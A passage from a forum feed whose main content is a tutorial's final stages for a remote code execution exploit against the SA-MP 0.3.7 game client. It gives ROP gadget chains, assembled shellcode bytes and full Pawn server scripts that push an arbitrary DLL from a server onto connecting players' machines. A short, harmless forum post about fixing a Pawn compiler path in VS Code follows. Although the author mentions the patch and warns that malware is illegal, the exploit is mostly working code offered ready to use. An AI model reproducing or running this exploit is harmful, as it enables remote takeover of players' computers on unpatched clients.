<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>And finally, the last thing: we need to find a gadget to set the value in ecx. Similarly, we look for pop ecx; ret and find it at 0x00402715. But we need to calculate exactly how many bytes to copy. Let's get a look:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402715 // pop ecx gadget<br />
0x000000?? // ecx value<br />
0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>The maximum caption array can be 256 in length. Of these, 9 positions on the stack go to our rop chains, which is 36 bytes. Those our shellcode will start from the 37th byte and can go up to the 256th byte at most. Let's copy everything to the end, even if the final shellcode is smaller. This means we need to copy 256 minus 36 bytes, that is 220. It is important to say that movsd copies 4 bytes per iteration, which means we will have 55 iterations, that is 0x37:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x00402715 // pop ecx gadget<br />
0x00000037 // ecx value<br />
0x00402E8D // pop edi gadget<br />
0x00866000 // edi value<br />
0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>Let's summarize what we have at this step. So, first we send the client a specific gravity value, which contains the code for stack pivoting. Then we overflow using the dialog, which is why when returning from the CDialog::GetTextScreenLength function, execution does not go back to CDialog::PrepareListbox, from where it was called, but to our stack pivoting code. There, the pointer to the stack is replaced, namely, it is installed on the caption buffer from RPC_ShowDialog, in which, using return manipulations, we copy our shellcode into executable memory and execute it.<br />
Our first task with rop chains is solved, let's move on to the second - writing this shellcode. And here we have two, so to speak, subtasks waiting for us. Firstly, after all these manipulations we have a "broken" stack, we must return it to the correct state and carry out the correct further execution of the program, as if nothing had happened. And secondly, download more large code and execute it.<br />
Let me remind you that we had the following chain of calls: RPC_ShowDialog -&gt; CDialog::Open -&gt; CDialog::PrepareListbox -&gt; CDialog::GetTextScreenLength. Instead of returning to CDialog::PrepareListbox, we proceeded to execute our shellcode. It would be logical to go back directly to CDialog::PrepareListbox, but, firstly, this is not necessary (since there is nothing important there that would require returning there), and secondly, for ease of implementation we will "mimic" under CDialog::PrepareListbox and at the end return exection to CDialog::Open.<br />
First, we need to set the stack pointer to where it should have been when returning from CDialog::GetTextScreenLength. The ebp register will help us with this again, only now we need to calculate the offset in the other direction. Let's look at the IDA Pro hints again:<br />
<img src="https://i.imgur.com/xb01r78.jpeg" loading="lazy"  alt="[Image: xb01r78.jpeg]" class="mycode_img" /><br />
At the moment after calling CDialog::GetTextScreenLength, the stack of CDialog::PrepareListbox is shifted to 0x12C, but since we will restore relative to ebp, and CDialog::PrepareListbox at the very beginning stores the previous value of ebp on the stack, thereby shifting the stack by 4 bytes, then we must subtract these 4 bytes from 0x12C and get 0x128. This means that the first instruction to restore the stack pointer in our shellcode will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esp, [ebp-0x128]</code></div></div>Next, we need to return back to CDialog::Open, so we'll simply copy the epilogue of the CDialog::PrepareListbox function into our shellcode:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>pop    edi<br />
pop    esi<br />
mov    eax, 1<br />
pop    ebx<br />
mov    esp, ebp<br />
pop    ebp<br />
retn    8</code></div></div>At this step, I propose to check the functionality of the shellcode, and for clarity, add a command to set the value of money for the player:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov dword ptr [0x00B7CE50], 1137</code></div></div>Our shellcode will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esp, [ebp-0x128]<br />
mov dword ptr [0x00B7CE50], 1137<br />
pop edi<br />
pop esi<br />
mov eax, 1<br />
pop ebx<br />
mov esp, ebp<br />
pop ebp<br />
ret 8</code></div></div>and in binary representation: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00 , 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
Let's update our filterscript:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
0x15, 0x27, 0x40, 0x00, // pop ecx gadget<br />
0x37, 0x00, 0x00, 0x00, // ecx value<br />
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget<br />
0x00, 0x60, 0x86, 0x00, // edi value<br />
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget<br />
0x00, 0x00, 0x00, 0x00, // edi value<br />
0x00, 0x00, 0x00, 0x00, // esi value<br />
0x00, 0x60, 0x86, 0x00, // ret to dst<br />
0x00, 0x00, 0x00, 0x00, // pad<br />
<br />
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,<br />
0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div>Join into the game, enter the command, and get the result:<br />
<img src="https://i.imgur.com/mOmUC1O.jpeg" loading="lazy"  alt="[Image: mOmUC1O.jpeg]" class="mycode_img" /><br />
Everything is working! But an empty dialog remains open. Since SA-MP allows you to close any opened dialog by sending a dialog with a negative id. Let's use this. Here we will also not use the native function, but will write our own to send RPCs in a separate ordering channel:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>HidePlayerDialog(playerid)<br />
{<br />
new BitStream:bs = BS_New();<br />
    BS_WriteUint16(bs, -1); // id<br />
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style<br />
BS_WriteString8(bs, " "); // caption<br />
BS_WriteString8(bs, ""); // left button<br />
BS_WriteString8(bs, ""); // right button<br />
BS_WriteCompressedString(bs, " "); // text<br />
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div><br />
<span style="font-size: large;" class="mycode_size">Stage 4.</span><br />
<br />
Now we have to do something more serious. For example, download and run .exe or load .dll. Let's consider the option with dll. Traditionally, here we are faced with a number of problems that we have to solve. So, the WinAPI LoadLibrary function does not allow loading directly from memory, it can only load from a file. You can create a file from shellcode, place the content there, and then load it. But antiviruses and other protection systems may not like this behavior, and in general it will work unreliably and unstable, so let's put this option aside. There are ways to load a dll from memory, but it is very complex, the implementation of these methods also will not fit into the ~200 bytes available to us. You can compile the dll so that it does not use imports and places its code at a fixed address, and then take this code and place it in accessible memory areas of the game itself at the same addresses. This option has the right to exist and even works, but it is extremely inconvenient and limiting. Fortunately, other developers have also encountered this problem, and therefore there is already a ready-made solution called <a href="https://github.com/monoxgas/sRDI/" target="_blank" rel="noopener" class="mycode_url">sRDI</a>. Within this article, I will not go into details and principles of operation of this solution, I will only briefly say the important information necessary for us. This tool modifies the dll so that it loads itself, and it is enough to transfer execution to its first byte.<br />
This means that now we are faced with a very specific task: transfer the dll itself, allocate memory for it without write and execute protection, copy it there, call it. The main question here is how exactly to transfer kilobytes or even megabytes of potential dll from the server to the client. Yes, everything is as simple as possible, you can simply write it to the end of the RPC ShowDialog bitstream! Because compressed text is written at the end, it is necessary to byte-align the pointer to the write. Now the task has become even more specific and clear: in our shellcode we need to allocate memory, copy data from the bitstream there, and call. It would also be nice for our shellcode to determine what size our dll is and allocate the appropriate amount of memory. Well, let's get started.<br />
First we need to get to the bitstream. Remember, in the stack pivoting gadget we got to the pointer to the caption via ebp? This caption was in the RPC ShowDialog handler stackframe. The bitstream object is located there. Let's see:<br />
<img src="https://i.imgur.com/UD9MMBG.jpeg" loading="lazy"  alt="[Image: UD9MMBG.jpeg]" class="mycode_img" /><br />
Yes, it is located right before of this caption!<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov eax, [ebp+0x3c]<br />
sub eax, 0x118</code></div></div>Next, from the BitStream structure, we need the fields numberOfBitsUsed, readOffset and a pointer to the data named data. They located at the very beginning, at offsets +0x0, +0x8 and +0xC, respectively. We will convert readOffset and numberOfBitsUsed from bits to bytes and subtract the first from the second, thereby get the number of unread bytes. Because we write our dll to the end of the bitstream, and SA-MP reads only the structure for the dialog, then the number of unread bytes will be the size that we need to allocate for copying.<br />
You can see how the conversion from bits to bytes is performed in the RakNet sources:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define BITS_TO_BYTES(x) (((x)+7)&gt;&gt;3)</code></div></div>We will do the same. Let's place the values numberOfBitsUsed, readOffset and data in the registers ecx, edx, esi, respectively, convert from bits to bytes, then subtract edx from ecx to get the size of the dll, and add edx to esi to get a pointer to the beginning of our dll, not the beginning of all data. Thus, part of our shellcode with bitstream will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# get bitstream<br />
mov eax, [ebp+0x3c] ;# caption<br />
sub eax, 0x118      ;# bitstream<br />
mov ecx, [eax]      ;# numberOfBitsUsed<br />
mov edx, [eax+0x8]  ;# readOffset<br />
mov esi, [eax+0xC]  ;# data ptr<br />
add ecx, 7          ;# numberOfBitsUsed bits to bytes<br />
shr ecx, 3<br />
add edx, 7          ;# readOffset bits to bytes<br />
shr edx, 3<br />
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size<br />
add esi, edx        ;# data ptr        + readOffset = dll ptr</code></div></div>Now we need to allocate memory. This is done using the <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc" target="_blank" rel="noopener" class="mycode_url">WinAPI VirtualAlloc</a> function, its address is in the game import table at 0x8581A4:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)</code></div></div>According to the function documentation, we need to call this function with flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. In dwSize we need to pass the size of the allocated memory area, in lpAddress we need to pass 0. After execution, the address of the allocated area will be placed in the eax register. It is also important to remember that when calling such functions, the values in the ebx, ecx, edx registers may be overwritten, so before the call, their values must be saved on the stack, and after the call, restored. In our case, we no longer need the eax (pointer to the bitstream) and edx (readOffset) registers, we don't use ebx, but we still need ecx, so we need to save it before calling VirtualAlloc. We will also put the value returned in eax into edi for later copying. Thus, our memory allocation part will look like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# call VirtualAlloc<br />
push ecx                        ;# save ecx<br />
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE<br />
push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE<br />
push ecx                        ;# dwSize = dll size<br />
push 0                          ;# lpAddress = 0<br />
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc<br />
call eax                        ;# call VirtualAlloc<br />
mov edi, eax<br />
pop ecx                        ;# restore ecx</code></div></div>After that, we have in edi the address of the allocated memory where we need to copy, in esi - where to copy from, ecx - how much to copy. So we can run the copy loop:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>rep movsb</code></div></div>And then transfer execution to the dll:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>call eax</code></div></div>Our complete shellcode will look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>;# repair stack<br />
lea esp, [ebp-0x128]<br />
<br />
;# get bitstream<br />
mov eax, [ebp+0x3c]            ;# caption<br />
sub eax, 0x118                  ;# bitstream<br />
mov ecx, [eax]                  ;# numberOfBitsUsed<br />
mov edx, [eax+0x8]              ;# readOffset<br />
mov esi, [eax+0xC]              ;# data ptr<br />
add ecx, 7                      ;# numberOfBitsUsed bits to bytes<br />
shr ecx, 3          <br />
add edx, 7                      ;# readOffset bits to bytes<br />
shr edx, 3          <br />
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size<br />
add esi, edx                    ;# data ptr        + readOffset = dll ptr<br />
<br />
;# call VirtualAlloc<br />
push ecx                        ;# save ecx<br />
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE<br />
push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE<br />
push ecx                        ;# dwSize = dll size<br />
push 0                          ;# lpAddress = 0<br />
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc<br />
call eax                        ;# call VirtualAlloc<br />
mov edi, eax<br />
pop ecx                        ;# restore ecx<br />
<br />
;# copy dll<br />
rep movsb<br />
<br />
;# execute dll<br />
call eax<br />
<br />
;# epilogue<br />
pop edi<br />
pop esi<br />
mov eax, 1<br />
pop ebx<br />
mov esp, ebp<br />
pop ebp<br />
ret 8</code></div></div>We fit into 77 bytes, excellent.<br />
To test the functionality, I suggest writing a simple asi mod, modifying it using sRDI, reading it from pawn and writing it to the bitstream. Let this be the same change in money, but from asi:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#include &lt;Windows.h&gt;<br />
<br />
VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;*(DWORD*)0x00B7CE50 = 1137;<br />
&nbsp;&nbsp;&nbsp;&nbsp;KillTimer(NULL, 0);<br />
}<br />
<br />
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;switch (dwReasonForCall)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_PROCESS_ATTACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_THREAD_ATTACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_THREAD_DETACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_PROCESS_DETACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br />
}</code></div></div>Let's compile it and run it through sRDI:<br />
<img src="https://i.imgur.com/MlVj2A6.jpeg" loading="lazy"  alt="[Image: MlVj2A6.jpeg]" class="mycode_img" /><br />
Let's update our filterscript by inserting a new shellcode and adding reading dll from a file and writing to the bitstream, not forgetting to do the alignment:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
0x15, 0x27, 0x40, 0x00, // pop ecx gadget<br />
0x37, 0x00, 0x00, 0x00, // ecx value<br />
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget<br />
0x00, 0x60, 0x86, 0x00, // edi value<br />
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget<br />
0x00, 0x00, 0x00, 0x00, // edi value<br />
0x00, 0x00, 0x00, 0x00, // esi value<br />
0x00, 0x60, 0x86, 0x00, // ret to dst<br />
0x00, 0x00, 0x00, 0x00, // pad<br />
<br />
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,<br />
0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,<br />
0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,<br />
0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,<br />
0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
new payload_array[21111];<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, ""); // left button<br />
BS_WriteString8(payload_bs, ""); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
<br />
// align<br />
new offset;<br />
BS_GetWriteOffset(payload_bs, offset);<br />
BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));<br />
<br />
// dll<br />
new File:fi = fopen("test.asi");<br />
new payload_len = flength(fi);<br />
if(payload_len &gt; sizeof(payload_array) * 4)<br />
{<br />
    printf("ERROR! Not enough space to read! %d needed", payload_len / 4);<br />
}<br />
else<br />
{<br />
fblockread(fi, payload_array);<br />
    printf("SUCC READ PAYLOAD of %d bytes", payload_len);<br />
for(new i = 0; i &lt; payload_len / 4; i++)<br />
{<br />
    BS_WriteUint32(payload_bs, payload_array[i]);<br />
}<br />
}<br />
fclose(fi);<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    HidePlayerDialog(playerid);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}<br />
<br />
HidePlayerDialog(playerid)<br />
{<br />
new BitStream:bs = BS_New();<br />
    BS_WriteUint16(bs, -1); // id<br />
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style<br />
BS_WriteString8(bs, " "); // caption<br />
BS_WriteString8(bs, ""); // left button<br />
BS_WriteString8(bs, ""); // right button<br />
BS_WriteCompressedString(bs, " "); // text<br />
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div><a href="https://pastebin.com/tk0CMKZ9" target="_blank" rel="noopener" class="mycode_url">(pastebin link)</a><br />
Join into the game, enter the command, wait some time until the RPC is transferred to the client, because it is now quite large, and... everything works! Congratulations, we have just created a sasi loader, that is, Server ASI Loader. Now you can load any dll you want from the server to the client. But remember that downloading malware is punishable by law.<br />
<br />
<span style="font-size: large;" class="mycode_size">Conclusion</span><br />
<br />
Well, thank you for reading this article. I will be glad to see your comments, remarks and questions. In conclusion, I note that the written shellcode will work on all revisions 0.3.7, because there are no differences in the functions we worked with. Apparently, this vulnerability appeared since the introduction of the dialog system, that is, since version 0.3a (2009), and has now been fixed in the latest version of the R5 client (2022). Of course, the fix can be implemented for other versions using the asi or even lua mods. It is strictly recommended to use the latest version of SA-MP with all fixes, and also not to join the servers that cause you suspicion and that you do not trust.<br />
P.S. did you like the article? stay in touch, I have something else interesting for you ;)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[fatal error 100: cannot read from file [FIX]]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2603</link>
			<pubDate>Fri, 23 Feb 2024 09:26:46 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=5476">YoungKrypt</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2603</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Hello OpenMP And Samp Players...<br />
<span style="font-style: italic;" class="mycode_i">So I have begun learning Pawno for SAMP...<br />
<br />
The other day I was working on my server and everything worked fine.<br />
I installed Pawno with Samp Server R2 amd configured the Pawno Compiler with VSCode...<br />
<br />
I renamed the folder I was working on and moved it to desktop.<br />
Today I logged on and I attempted to Save/Compile Script and got the error:<br />
<span style="color: #c10300;" class="mycode_color"><br />
\gamemodes\LCRPM2.pwn(7) : fatal error 100: cannot read from file: "zcmd"</span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="color: #c10300;" class="mycode_color">Compilation aborted.Pawn compiler 3.2.3664 Copyright &copy; 1997-2006, ITB CompuPhase</span></span></span><br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><br />
So I decided to look online and I found a lot of people with the same problem but no easy answer... I tried deleting zcmd and readding it... Etc...<br />
Nothing worked... </span></span><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">I turns out my problem was in the VS Code Extension.<br />
<br />
When you use VS Code you need to download the Extension: PAWN Language for Visual Studio Code made by Qoo.<br />
When I moved the Folder and Renamed it, everything was still in the same place but the Pawno Compiler was not connected to VS Code anymore.<br />
<br />
In order to Fix this:<br />
<br />
<span style="color: #c10300;" class="mycode_color">--Open VS Code<br />
--Click on the Gear on the bottom left hand side of VS Code</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--Click on Settings<br />
--Click on Extensions</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--It'll now show programming languages and extensions</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--Click on Pawn<br />
--On the right it'll have the Compiler Path (Picture shown below)<br />
--Update the Compiler Path with the Correct Pawno Folder in your PC.<br />
--Done, you can now compile with no errors.<br />
</span></span></span><br />
<br />
<img src="https://i.ibb.co/R0jcXVG/Pawn-Help.png" loading="lazy"  alt="[Image: Pawn-Help.png]" class="mycode_img" />]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Hello OpenMP And Samp Players...<br />
<span style="font-style: italic;" class="mycode_i">So I have begun learning Pawno for SAMP...<br />
<br />
The other day I was working on my server and everything worked fine.<br />
I installed Pawno with Samp Server R2 amd configured the Pawno Compiler with VSCode...<br />
<br />
I renamed the folder I was working on and moved it to desktop.<br />
Today I logged on and I attempted to Save/Compile Script and got the error:<br />
<span style="color: #c10300;" class="mycode_color"><br />
\gamemodes\LCRPM2.pwn(7) : fatal error 100: cannot read from file: "zcmd"</span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="color: #c10300;" class="mycode_color">Compilation aborted.Pawn compiler 3.2.3664 Copyright &copy; 1997-2006, ITB CompuPhase</span></span></span><br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><br />
